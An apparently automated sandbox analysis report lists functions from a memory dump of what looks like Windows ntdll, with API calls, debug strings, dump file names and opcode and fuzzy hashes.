Part of subcall function 6B541986: RtlIsValidIndexHandle.1105(?,?,00000000,?,?,6B5413F2,6B61F288,00000044), ref: 6B541995

Strings

Atom, xrefs: 6B5417C7

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$AcquireAtomHandleIndexIntegerReleaseValid_wcsicmp
String ID: Atom
API String ID: 2453091922-2154973765
Opcode ID: dc4efed6dd42d9848ac0fb28c7781eb07b84a35968586ad9b8ac3019b8cb9639
Instruction ID: 9e8fe0491245f9a434a801a92acb712f7da8380429f6390f907d853a82b0c6a7
Opcode Fuzzy Hash: dc4efed6dd42d9848ac0fb28c7781eb07b84a35968586ad9b8ac3019b8cb9639
Instruction Fuzzy Hash: 7631E635D00265CBFB40DFA48440AEEB779BF49744F01459BE824AB240DB3CCD1687A5

Uniqueness

Uniqueness Score: -1.00%

Function 6B5D4955, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 81COMMON

Download Yara Rule

APIs

Part of subcall function 6B571D47: memset.1105(00000000,00000000,6B5917F0,?,00000001,00000000,?,6B548D70,00000000,?,?,00000030,?,?,00000001,?), ref: 6B571D87

DbgPrintEx.1105(00000033,00000000,SXS: %s() found activation context data at %p with wrong format,RtlpQueryRunLevel,?,?,00000030,?,00000030,?,?,00000001,?,?), ref: 6B5D49E1

Strings

SXS: %s() found activation context data at %p with assembly roster that has no root, xrefs: 6B5D49D9
RtlpQueryRunLevel, xrefs: 6B5D49D4, 6B5D49FE
SXS: %s() found activation context data at %p with wrong format, xrefs: 6B5D4A03

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: Printmemset
String ID: RtlpQueryRunLevel$SXS: %s() found activation context data at %p with assembly roster that has no root$SXS: %s() found activation context data at %p with wrong format
API String ID: 4188176266-4139752556
Opcode ID: 256bf5eb2b9716bc4e1b24d098a17bb045bf6d44cf85f8eb9e48f22684bc184f
Instruction ID: 7e7a140d255ba750d5ce21f0856c005f48884fb233c79c46c74dbd4d317a1795
Opcode Fuzzy Hash: 256bf5eb2b9716bc4e1b24d098a17bb045bf6d44cf85f8eb9e48f22684bc184f
Instruction Fuzzy Hash: DC21E172A04310AFE324CF1DC8C1E9BB7A9EBC5358F05475AF8449B245EA34ED40CAA9

Uniqueness

Uniqueness Score: -1.00%

Function 6B6040DC, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 71timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.1105(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6B620FE0), ref: 6B604110

Strings

RtlSetUserValueHeap, xrefs: 6B604127, 6B604184

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: DebugPrintTimes
String ID: RtlSetUserValueHeap
API String ID: 3446177414-1142157168
Opcode ID: 8be302441c979e4f8c023cca5d59185185639372fcb002a0f0e84891ac7bc5f9
Instruction ID: a1fc707e4612dd96303cfdd2c4247904b8fd3e07c471254c55bebf1657cf6df5
Opcode Fuzzy Hash: 8be302441c979e4f8c023cca5d59185185639372fcb002a0f0e84891ac7bc5f9
Instruction Fuzzy Hash: 35212B709012549FEF25DFB98A417EEBF72AF65358F048088D45467291CFB94A45CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6B60387C, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.1105(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6B620F20), ref: 6B6038B3

Strings

RtlGetUserInfoHeap, xrefs: 6B6038CA, 6B603927

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: DebugPrintTimes
String ID: RtlGetUserInfoHeap
API String ID: 3446177414-1656697243
Opcode ID: f15fd3ed903f1cf237ca1341ac426a98f249d7a292ff693556aec0ebc5046f92
Instruction ID: 5d8f8cf2c79cacfd6b814c53765db6138194c90ceeb6c90e2a6d7ea14b77f68d
Opcode Fuzzy Hash: f15fd3ed903f1cf237ca1341ac426a98f249d7a292ff693556aec0ebc5046f92
Instruction Fuzzy Hash: A3213A71904298EFEF22DFB9CA00BDEBF71EF49304F048048E5842B291DB394A44CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6B604212, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 65timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.1105(?,?,6B6379A0,6B620EA8,00000024,6B5B6051,?,?,00000000,00000000,?,?,6B573347,?,00000000,?), ref: 6B60423F

Strings

RtlSizeHeap, xrefs: 6B60425B, 6B6042B9

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: DebugPrintTimes
String ID: RtlSizeHeap
API String ID: 3446177414-202636049
Opcode ID: 5e8718291eaf47e5325acd709cbd36aba22196f59c72f088501dfc1cd5ea9d12
Instruction ID: 3c78a5e9b38d5edb81bb5851d7468178765caaf0c140234f4b5c8af9c2733f9d
Opcode Fuzzy Hash: 5e8718291eaf47e5325acd709cbd36aba22196f59c72f088501dfc1cd5ea9d12
Instruction Fuzzy Hash: CB2104B09042159BEF29DBBAC6457CDBBB0BF95318F008248D45027290CBBA5E45CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6B5C3E13, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47COMMON

Download Yara Rule

APIs

wcschr.1105(?,0000002C,?,?,00000000,?,?,6B5A060B), ref: 6B5C3E23
wcstoul.1105(-00000002,6B5A060B,00000010,?,?,00000000,?,?,6B5A060B), ref: 6B5C3E3D
DbgPrintEx.1105(00000055,00000003,CLIENT(ntdll): Tyring to fix protection for %ws section in %wZ module to 0x%X,?,?,00000000,?,?,6B5A060B), ref: 6B5C3E5A

Part of subcall function 6B5C3C93: wcschr.1105(?,0000003D,00000000,?), ref: 6B5C3CAC
Part of subcall function 6B5C3C93: RtlInitUnicodeString.1105(?,-00000002,00000000,?), ref: 6B5C3CD0
Part of subcall function 6B5C3C93: RtlAnsiStringToUnicodeString.1105(?,?,00000001,00000000,?), ref: 6B5C3D72
Part of subcall function 6B5C3C93: RtlCompareUnicodeString.1105(?,?,00000001,?,?,00000001,00000000,?), ref: 6B5C3D89
Part of subcall function 6B5C3C93: RtlFreeUnicodeString.1105(?,00000000,?), ref: 6B5C3DED

Strings

CLIENT(ntdll): Tyring to fix protection for %ws section in %wZ module to 0x%X, xrefs: 6B5C3E51

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: String$Unicode$wcschr$AnsiCompareFreeInitPrintwcstoul
String ID: CLIENT(ntdll): Tyring to fix protection for %ws section in %wZ module to 0x%X
API String ID: 2652356044-1863042022
Opcode ID: ee217d180930a9bb9af84d4cc97905746f2d6bc775b346a0c93d6a52190463d8
Instruction ID: 054e9ad04f8054f5c97d47f2886dd9eecc678ced3758a7d8f70cee775943003f
Opcode Fuzzy Hash: ee217d180930a9bb9af84d4cc97905746f2d6bc775b346a0c93d6a52190463d8
Instruction Fuzzy Hash: 07F0F63220021836F62852A9AC47EEB275DCFC6660F50016DFA189B285EBA9DD0082F5

Uniqueness

Uniqueness Score: -1.00%

Function 6B57BDFC, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 40COMMON

Download Yara Rule

APIs

RtlAcquireSRWLockExclusive.1105(6B6379E4,6B638654,00000000,?,6B580492,00000000,?,6B580459,6B638654,?,?,?,6B58042F,?,6B55ECE6,6B6384D8), ref: 6B57BE09
RtlReleaseSRWLockExclusive.1105(6B6379E4,6B6379E4,6B638654,00000000,?,6B580492,00000000,?,6B580459,6B638654,?,?,?,6B58042F,?,6B55ECE6), ref: 6B57BE33
RtlReleaseSRWLockExclusive.1105(6B6379E4,6B6379E4,6B638654,00000000,?,6B580492,00000000,?,6B580459,6B638654,?,?,?,6B58042F,?,6B55ECE6), ref: 6B57BE58

Part of subcall function 6B57BE62: ZwProtectVirtualMemory.1105(000000FF,?,00000000,-00000F38,-00000F38,?), ref: 6B57BE97

Strings

yck, xrefs: 6B57BE03

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$Release$AcquireMemoryProtectVirtual
String ID: yck
API String ID: 1407556199-3838824989
Opcode ID: a849cb703674045a48ff5469758e480b96c553d58a79b344e7b9a7af9a58aa27
Instruction ID: 2a53ac971279daa7873830952f4e8b8d33fe2e533a467dc666337bdfbb9b13cf
Opcode Fuzzy Hash: a849cb703674045a48ff5469758e480b96c553d58a79b344e7b9a7af9a58aa27
Instruction Fuzzy Hash: 91F09073A4072052F63179268852BAA67288F8AF78F15427BEF502B294C66C8C4181D5

Uniqueness

Uniqueness Score: -1.00%

Function 6B541FA1, Relevance: 6.3, APIs: 4, Instructions: 266COMMON

Download Yara Rule

APIs

memcpy.1105(?,?,00000000,?,?,?), ref: 6B5420AB

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 9056690f5d9953396828d36efb7f1b26945cf7a135e93cedcc0f03d3497f1b51
Instruction ID: 6fbdaf38315ff4e74c3aa5a8fee0623a34d1780d0fdd01e96f3cc839754000e7
Opcode Fuzzy Hash: 9056690f5d9953396828d36efb7f1b26945cf7a135e93cedcc0f03d3497f1b51
Instruction Fuzzy Hash: 0BA164719002699BFB25DF2898807E973F8BF85314F1085E9A95DD3244DB39AE82CFD1

Uniqueness

Uniqueness Score: -1.00%

Function 6B5411E0, Relevance: 6.2, APIs: 4, Instructions: 230COMMON

Download Yara Rule

APIs

iswctype.1105(0000000A,00000004), ref: 6B541244
iswctype.1105(00000000,00000004), ref: 6B59EC6A

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: iswctype
String ID:
API String ID: 304682654-0
Opcode ID: 2b8aa9342089632092eb678869137fac241e6d5e38987436f797c04d5b530110
Instruction ID: 81e9bb932e038cfc76531601988321581472934ffa9a1f0b55b4ade5af5f3cc6
Opcode Fuzzy Hash: 2b8aa9342089632092eb678869137fac241e6d5e38987436f797c04d5b530110
Instruction Fuzzy Hash: 08710371E0816A8BFB18CAA9D4917FDBBF1FB49310F1049AAD891E7284DB3C9954C760

Uniqueness

Uniqueness Score: -1.00%

Function 6B541E50, Relevance: 6.2, APIs: 4, Instructions: 169COMMON

Download Yara Rule

APIs

RtlNtStatusToDosError.1105(C000000D,?,00000000,6B61F330,00000018), ref: 6B59F223
RtlNtStatusToDosError.1105(C000000D), ref: 6B59F2A6
RtlEnterCriticalSection.1105(?), ref: 6B59F2BB
RtlNtStatusToDosError.1105(C000000D), ref: 6B59F2E2

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorStatus$CriticalEnterSection
String ID:
API String ID: 152543406-0
Opcode ID: feeec07ae99a21935a76151e43b77559ddbe02b0c23b32fd8986951c1e132cb6
Instruction ID: 15a114ebfb10251b412a4c66835b60b0174e489d0b880617a9e68856d236f32d
Opcode Fuzzy Hash: feeec07ae99a21935a76151e43b77559ddbe02b0c23b32fd8986951c1e132cb6
Instruction Fuzzy Hash: CB511475A007D59FFB04DF64C940BEABBF1AF89708F0485A9E86557640C73CAC56CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6B578ED7, Relevance: 6.1, APIs: 4, Instructions: 110libraryCOMMON

Download Yara Rule

APIs

wcsrchr.1105(?,0000005C,00000000,00000000,00000000), ref: 6B578F1B
memcpy.1105(?,?,?,00000000,00000000,00000000), ref: 6B578F72
LdrFindEntryForAddress.1105(?,?,00000000,00000000,00000000), ref: 6B578F9D
memcpy.1105(?,?,00000004,?,?,00000000,00000000,00000000), ref: 6B578FD3

Part of subcall function 6B5792FC: RtlEnterCriticalSection.1105(6B636D80,6B620158,00000018,6B5463DB), ref: 6B579331

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpy$AddressCriticalEnterEntryFindSectionwcsrchr
String ID:
API String ID: 3299649961-0
Opcode ID: c6ea268ef8c8fcab1552981f2e0ff5c81db2efd0c6554e3dd484ce8b91997272
Instruction ID: 9ac645acbf9003e942b44a3a17b97c892947ae2b67f6b3f2479a35fc02f15525
Opcode Fuzzy Hash: c6ea268ef8c8fcab1552981f2e0ff5c81db2efd0c6554e3dd484ce8b91997272
Instruction Fuzzy Hash: FD31AD723047429FE718DF29C850AAAB7E2FF84720F088669F8558B690D734DC60CBD6

Uniqueness

Uniqueness Score: -1.00%

Function 6B61ED52, Relevance: 6.1, APIs: 4, Instructions: 110timeCOMMON

Download Yara Rule

APIs

RtlAcquireSRWLockExclusive.1105(6B638684,6B638668,?,?,6B638668,6B638668,?,6B61E5F4,?,80000002,6B638668,6B638660), ref: 6B61EDA9
RtlReleaseSRWLockExclusive.1105(6B638684,6B638684,6B638668,?,?,6B638668,6B638668,?,6B61E5F4,?,80000002,6B638668,6B638660), ref: 6B61EE42
RtlDebugPrintTimes.1105(?,?,6B638684,6B638684,6B638668,?,?,6B638668,6B638668,?,6B61E5F4,?,80000002,6B638668,6B638660), ref: 6B61EE50
RtlReleaseSRWLockExclusive.1105(6B638684,6B638684,6B638668,?,?,6B638668,6B638668,?,6B61E5F4,?,80000002,6B638668,6B638660), ref: 6B61EE5B

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$Release$AcquireDebugPrintTimes
String ID:
API String ID: 309489879-0
Opcode ID: 8398b056664415c1380ea8611e087879a559db32583be2be87f8f022d2cd7984
Instruction ID: be8ac7b333ab2f8831d76aeb74c1fb7755e1a22474c5db24272d2b4056f49250
Opcode Fuzzy Hash: 8398b056664415c1380ea8611e087879a559db32583be2be87f8f022d2cd7984
Instruction Fuzzy Hash: E6312872A145259BCB18CF2DCC905A9B7F5EF8A32031442ADE816CBB94DB38ED01CBC0

Uniqueness

Uniqueness Score: -1.00%

Function 6B56ECE0, Relevance: 6.1, APIs: 4, Instructions: 103timeCOMMON

Download Yara Rule

APIs

RtlAcquireSRWLockExclusive.1105(?,00000000,00000000), ref: 6B56ED2C
RtlReleaseSRWLockExclusive.1105(?,00000000,00000000,?,00000000,00000000), ref: 6B56ED90
TpSetWaitEx.1105 ref: 6B5B42DE
RtlDebugPrintTimes.1105(?,?,00000000,00000000,?,00000000,00000000), ref: 6B5B432F

Part of subcall function 6B56FC39: ZwAssociateWaitCompletionPacket.1105(?,00000000,?,?,?,00000000,00000000,?,?,00000000,?,00000000,?,00000000,00000000), ref: 6B56FC71

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLockWait$AcquireAssociateCompletionDebugPacketPrintReleaseTimes
String ID:
API String ID: 1549838691-0
Opcode ID: 02af89628b4b9e04087b75d5898a60594fc0a5506644fa06b4abd28f4279ad7d
Instruction ID: 47fceb3d96a6d9e671e3dbe69407276839a466cab8d11be744e51ec710f75fd0
Opcode Fuzzy Hash: 02af89628b4b9e04087b75d5898a60594fc0a5506644fa06b4abd28f4279ad7d
Instruction Fuzzy Hash: 9931EF71A11716AFF710CF3888407EAF7A4BF85354F04496DD86987250EB38EC258BD1

Uniqueness

Uniqueness Score: -1.00%

Function 6B5FC08A, Relevance: 6.1, APIs: 4, Instructions: 92COMMON

Download Yara Rule

APIs

RtlAcquireSRWLockExclusive.1105(?,?,?,?,00000001,?,?,?,6B5FBC33,?,C0000002,00000020,?,?), ref: 6B5FC0CA
memcpy.1105(0000000C,?,?,?,?,?,?,?,?,00000001,?,?,?,6B5FBC33,?,C0000002), ref: 6B5FC115
RtlReleaseSRWLockExclusive.1105(?,?,?,?,?,?,?,00000001,?,?,?,6B5FBC33,?,C0000002,00000020,?), ref: 6B5FC17F

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$AcquireReleasememcpy
String ID:
API String ID: 753335654-0
Opcode ID: 7988eb64a56987116ce037b2b499b9d89de63f88c1a05378c241f987e61da99a
Instruction ID: afff40388609dc761d95297462f95dbed6a2ecb44fa92e8b38a0a0d94a7ce5cf
Opcode Fuzzy Hash: 7988eb64a56987116ce037b2b499b9d89de63f88c1a05378c241f987e61da99a
Instruction Fuzzy Hash: FE31E476A08505EBE715CF68C840AEAF3BDFF44714B04C46DE85A8B204DB38EA53CB94

Uniqueness

Uniqueness Score: -1.00%

Function 6B618050, Relevance: 6.1, APIs: 4, Instructions: 78threadCOMMON

Download Yara Rule

APIs

RtlAcquireSRWLockExclusive.1105(6B6386C4,00000008,?,00000000,00000008,?,6B59F8D6,?,00000000,00000000,?,6B5422D2,00000000,?,00000000,00000034), ref: 6B6180AA
RtlReleaseSRWLockExclusive.1105(6B6386C4,6B6386C4,00000008,?,00000000,00000008,?,6B59F8D6,?,00000000,00000000,?,6B5422D2,00000000,?,00000000), ref: 6B6180DD
TpSetPoolMaxThreads.1105(00000000,00000000,6B6386C4,6B6386C4,00000008,?,00000000,00000008,?,6B59F8D6,?,00000000,00000000,?,6B5422D2,00000000), ref: 6B6180F3
TpSetPoolMaxThreadsSoftLimit.1105(00000000,00000000,00000000,00000000,6B6386C4,6B6386C4,00000008,?,00000000,00000008,?,6B59F8D6,?,00000000,00000000), ref: 6B6180FB

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLockPoolThreads$AcquireLimitReleaseSoft
String ID:
API String ID: 4208054433-0
Opcode ID: beaf8e4d5a3a8fc39a7e05ccb375a016df37a9eed9419639a37caf08682d75ae
Instruction ID: f0b8e7bfb8ab53596f6308b524cae7786c136a749cc752405d7ce3c14cb67f8c
Opcode Fuzzy Hash: beaf8e4d5a3a8fc39a7e05ccb375a016df37a9eed9419639a37caf08682d75ae
Instruction Fuzzy Hash: F9117BF2F0962A53C720AA3D4C90ECFA36A8BC5786B010279EE14E7371DA2DCD4047E1

Uniqueness

Uniqueness Score: -1.00%

Function 6B5D2D0B, Relevance: 6.1, APIs: 4, Instructions: 58COMMON

Download Yara Rule

APIs

RtlAcquireSRWLockShared.1105(?,00000000,00000000,00000008,?,?,6B59FFD2,00000000,?,00000000,00000000,00000000,00001030,000000FF,?,00000000), ref: 6B5D2D24
RtlAcquireSRWLockShared.1105(0000000C,?,00000000,00000000,00000008,?,?,6B59FFD2,00000000,?,00000000,00000000,00000000,00001030,000000FF,?), ref: 6B5D2D3C

Part of subcall function 6B56FAD0: RtlDllShutdownInProgress.1105(00000000), ref: 6B56FB35
Part of subcall function 6B56FAD0: ZwWaitForAlertByThreadId.1105(?,00000000,?,?,?,?,?,?,?,00000000), ref: 6B56FBE3

RtlReleaseSRWLockShared.1105(0000000C,0000000C,?,00000000,00000000,00000008,?,?,6B59FFD2,00000000,?), ref: 6B5D2D6A
RtlReleaseSRWLockShared.1105(?,?,00000000,00000000,00000008,?,?,6B59FFD2,00000000,?,00000000,00000000,00000000,00001030,000000FF,?), ref: 6B5D2D95

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: LockShared$AcquireRelease$AlertProgressShutdownThreadWait
String ID:
API String ID: 276812241-0
Opcode ID: d970f12badf16fab7d3954f6ca041dd4003eaf24f2597db152d1430cde900bfe
Instruction ID: b71ec24dba55226bce6087de7f882a4f31c93d72432fd268b6afe9ba79f5ae86
Opcode Fuzzy Hash: d970f12badf16fab7d3954f6ca041dd4003eaf24f2597db152d1430cde900bfe
Instruction Fuzzy Hash: 5411A332900309AFFB30EE59C4809D6B3BDEB85258B10855ED549C3611E73AED4AC794

Uniqueness

Uniqueness Score: -1.00%

Function 6B56E63F, Relevance: 6.1, APIs: 4, Instructions: 53threadCOMMON

Download Yara Rule

APIs

RtlSetThreadWorkOnBehalfTicket.1105(?,?,?), ref: 6B56E68B
TpCallbackMayRunLong.1105(?,?,?), ref: 6B56E6A3
RtlActivateActivationContextUnsafeFast.1105(?,?,?,?,?,6B579688,?,00000000,00000000,00000001,?,?,7FFE0386), ref: 6B59E258

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: ActivateActivationBehalfCallbackContextFastLongThreadTicketUnsafeWork
String ID:
API String ID: 3384506009-0
Opcode ID: 09daa6f13e10e10deb403ab3800f05a1ef34cbce950abe0e6d2b8a8228a42360
Instruction ID: a35b51c950bba3ac01f9c3ea843c3474aa93fdbea63df5dde7378f7b9addf986
Opcode Fuzzy Hash: 09daa6f13e10e10deb403ab3800f05a1ef34cbce950abe0e6d2b8a8228a42360
Instruction Fuzzy Hash: 11012B315556008FEB20CF29DC857C37798FF46728F1006A9D9444B194F779E886C785

Uniqueness

Uniqueness Score: -1.00%

Function 6B5F8061, Relevance: 5.7, APIs: 1, Strings: 2, Instructions: 402COMMON

Download Yara Rule

Strings

xn--, xrefs: 6B5F80F6, 6B5F810E, 6B5F821C, 6B5F8223
xl--, xrefs: 6B5F80FD, 6B5F8215

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: xl--$xn--
API String ID: 0-2182639396
Opcode ID: c95de1a813c02edc17cfcd819ca4f43de2f2662547bc1376e5cc5cb8fe3a1e5f
Instruction ID: 580b036fe5cd5dfca29e7ed07c3f5036f37a8610bb57f01fc5b8ff83c669f03a
Opcode Fuzzy Hash: c95de1a813c02edc17cfcd819ca4f43de2f2662547bc1376e5cc5cb8fe3a1e5f
Instruction Fuzzy Hash: ECE1B271E00219CFEF14DFA9C8846EDF7BAFF88314F24856AD955A7240E77899428F42

Uniqueness

Uniqueness Score: -1.00%

Function 6B561F30, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 163COMMON

Download Yara Rule

APIs

RtlxOemStringToUnicodeSize.1105(?,?,00000000,?,00000001,?,?,?,?,?,6B5917F0,6B61FC68,000000FE,?,6B5C3D77,?), ref: 6B5ACEE2

Strings

w=\k, xrefs: 6B561F59, 6B56206E

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: RtlxSizeStringUnicode
String ID: w=\k
API String ID: 2371059093-930192242
Opcode ID: 11d323cf2510cbede53f210652b8fba91a7a1d6f7b67cd04feaa88f694a1dd2d
Instruction ID: ee090e27a38dccb02af58492ee926cccbd8a20efecf53d705e0951613a82dbdd
